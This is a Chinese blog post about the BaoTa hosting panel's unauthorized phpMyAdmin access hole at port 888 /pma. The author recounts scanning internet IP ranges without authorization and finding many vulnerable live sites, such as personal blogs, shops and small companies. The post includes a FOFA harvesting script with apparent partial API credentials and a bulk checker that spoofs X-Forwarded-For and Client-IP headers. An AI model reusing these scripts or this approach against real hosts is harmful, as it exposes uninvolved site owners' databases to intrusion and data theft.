zoukankan      html  css  js  c++  java
  • 8.23宝塔面板数据库未授权访问漏洞

    昨天晚上大概六七点种群里爆出来的消息,,从fofa上面找了几个都不行,以为是假的,,就没太在意,后来不少群友都复现成功,(他们从shodan上面,成功率非常高),遂引起重视

    众所周知,腾讯云一直和宝塔面板很配,并且像宝塔面板这种知名度还可以的网站搭建平台,应该会造成比较大的影响,于是开始了挖洞之旅;

    最开始的思路是fofa加py脚本,从fofa官方给的api上面直接获取装了宝塔面板的url(脚本在文章末尾会上传,需要fofa的会员),但是发现漏洞的复现成功率很低,很多404(这里确实佩服宝塔工作人员的提醒漏洞修补效率,听说还特地给用户发了短信,算是保住了名誉,国民的网络安全意识也算有所提高),并且fofa上面获取的url太少,每次只能获取100条,遂和群里的前辈大佬猫叔请教,给出了先用SYN扫描器(这里举例:比如说TCP  port scann好像是叫这个名字 还有就是 xdedic ip scan 这个或者 zmap 也可以,不过最好不要用 namp ,不是不行,nmap很优秀,只是这里不适用 )扫IP段开发888端口的主机,然后再写个py脚本拼接IP:888/pma,再请求,如果返回状态码 200 则极大可能存在漏洞。这个思路效率比较高,大概七个小时左右,端口扫描器没扫完,扫出来七万多开放888端口的漏洞,然后再放在脚本里筛选下,出来很多很多成功的,不过大多都是些小站,个人博客,个人商城,小公司,游戏平台,视频平台等等,,没咋看,,之后就没啥意思了。这里记录下学习到的知识和欠缺待学习的知识。

    学习到的知识:

    ①主要是挖洞的思路,端口型漏洞,直接用端口扫描器扫IP段就行

    ②有时候刷漏洞倒没什么意思,学不到什么实在的知识

    欠缺的部分:

    ①这次挖洞,深切感知到知识储备的重要,第一时间知道漏洞之后,直接py写脚本批量跑,学好python确实很重要,以后还需要多加强

    ②在将IP解析为域名的时候,需要自己写个爬虫,这倒不难,难得爬下来的东西需要正则匹配获取内容,正则我一直使用的不是很熟练,不过最近很多方面都应用到了,所以一定要强化正则匹配

    ③有时间还得向前辈请教请教如何批量IP反查域名,不知道是不是我这么用爬虫requests拼接请求,正则匹配获取域名

    记录一些不错的通过IP反查域名的网站:

    https://site.ip138.com/                          很好用的IP反查域名网站,网上不少网站根本查不出来,就是个幌子

    http://stool.chinaz.com/Same/              其次推荐站长之家,这个就不用说了

    https://tools.ipip.net/ipdomain.php          这个网站也非常优秀,IP反查域名准确率高

    附上fofa获取网站搭建使用宝塔面板的网站脚本

    import  requests
    import json
    class Client:
        def __init__(self):
            self.email = '    '
            self.key = '     '
            self.base_url = 'https://fofa.so'
            self.login_url = '/api/v1/info/my'
            self.search_url = '/api/v1/search/all'
            self.get_userinfo()
    
        def get_userinfo(self):
            api_full_url = '%s%s' % (self.base_url , self.login_url)
            param = {'email':'axom','key':'bbedf840c'}                        //这里得填 fofa  VIP 会员账号的 邮箱 和  key 
            res = self.__http_get(api_full_url,param)
            # print(res.encoding)
            return res   #源代码  return json.loads(res)
    
        def get_data(self,query_str,page=1,fields=""):
            res = self.get_json_data(query_str,page,fields)
            # print(res)
            return res  #源代码 return json.loads(res)
    
        def get_json_data(self,query_str,page=1,fields=""):
            api_full_url = '%s%s' % (self.base_url,self.search_url)
            # print(api_full_url)
            param = {'email':self.email,'key':self.key,'qbase64':'5ZCO5Y+w55m75b2V','page':1,'fields':fields}        //这里没改,应该把base64的值也改了
            res = self.__http_get(api_full_url,param)
            # print(res)
            return res
    
        def __http_get(self,url,param):
            url = '%s?%s' % (url,param)
           # print(url)
            try:
                res = requests.get(url,params=param)
                # print(res)
            except:
                print('出错!!!')
            return res
    
    
    
    
    #
    # Client()
    query_str = 'app=宝塔面板'            #在此处修改关键词    同时还应修改所对应的base64的值!!!!
    data = Client().get_data(query_str,page=2,fields="host")
    a = data.text
    # a.encode(encoding='utf-8')
    # print(a)
    a = json.loads(data.text)                   #返回的数据被默认转换成了str格式,需要转换为dict(字典)格式!!!
    s = a['results']
    for result in s:
        print("%s" % (result))
    print(len(s))
    
    
    #  by   simple
    #新思路,通过namp或者其他类的端口扫描器批量扫描IP段,然后在写个脚本访问,看看域名是否存在
    import  requests
    import  random
    
    def random_headers():#生成随机headers
        user_agent = ['Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0',
                      'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0',
                      'Mozilla/5.0 (Windows; U; Windows NT 5.1 ; x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre',
                      'Opera/10.60 (Windows NT 5.1; U; zh-cn) Presto/2.6.30 Version/10.60',
                      'Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4062; en; U; ssr)',
                      'Mozilla/5.0 (Windows; U; Windows NT 5.1; ; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14',
                      'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36',
                      'Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 ( .NET CLR 3.5.30729)',
                      'Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
                      'Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5']
        UA = random.choice(user_agent)
        a = str(random.randint(1, 255))
        b = str(random.randint(1, 255))
        c = str(random.randint(1, 255))
        random_XFF = '127.' + a + '.' + b + '.' + c
        random_CI= '127.' + c + '.' + a + '.' + b
        headers = {
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
            'User-Agent': UA,
            'X-Forwarded-For': random_XFF,
            'Client-IP':random_CI,
            'Accept-Encoding': 'gzip, deflate',
            'Accept-Language': 'zh-CN,zh;q=0.8',
            "Referer": "http://www.baidu.com/",
            'Content-Type': 'application/x-www-form-urlencoded'}
        return headers
    
    
    for line in open('cunhuoip.txt', 'r'):  # 打开文件
        rs = line.replace('
    ', '')  # 替换换行符
        # print(rs)  # 显示替换后的行
        # r.encoding = 'utf-8'
        rs = 'http://' + rs + ':888/pma'
        try :
            r = requests.get(url=rs, headers=random_headers(), timeout=5)
            if (r.status_code == 200):
              print(rs)
              file = open('result.txt', mode='w')
              file.write(rs)
              file.write('
    ')  # 将回车写入txt文件中
            else:
              print('not  okk ')
        except:
            print('error!!')
  • 相关阅读:
    jQuery Ajax学习
    jquery 学习
    jquery after append appendTo三个函数的区别
    rtmp服务器以及rtmp推流/拉流/转发
    Python字符编码详解
    Python自省(反射)指南
    Python线程指南
    Python正则表达式指南[转载]
    Python2.7 threading模块学习
    python中if __name__ == '__main__': 的解析
  • 原文地址:https://www.cnblogs.com/zhangqianxi/p/13556746.html
Copyright © 2011-2022 走看看